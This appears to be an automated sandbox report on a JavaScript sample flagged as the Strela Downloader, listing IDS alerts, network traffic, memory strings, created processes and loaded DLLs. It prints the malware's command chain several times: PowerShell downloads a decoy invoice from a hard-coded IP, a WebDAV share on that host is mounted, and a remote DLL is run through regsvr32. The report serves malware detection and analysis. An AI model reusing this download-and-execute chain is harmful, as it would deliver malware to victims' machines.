Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49709 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2119063961.00000147E1AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2196691474.000001F3FF74C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2182453754.000001F3FF72C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2181653042.000001F3FF74A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2194028506.000001F3FF6F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2194125620.000001F3FF72C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2182453754.000001F3FF72C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2194125620.000001F3FF72C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/m
Source: net.exe, 00000007.00000002.2194028506.000001F3FF6F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sces
Source: svchost.exe, 00000009.00000002.3407223430.000001F6B3800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2182528695.000001F6B3600000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5336, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1917827975246096126.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/62@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1056:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ov0vwzjx.zal.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1917827975246096126.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1552,i,16176091813262955054,800977564278276916,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1552,i,16176091813262955054,800977564278276916,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
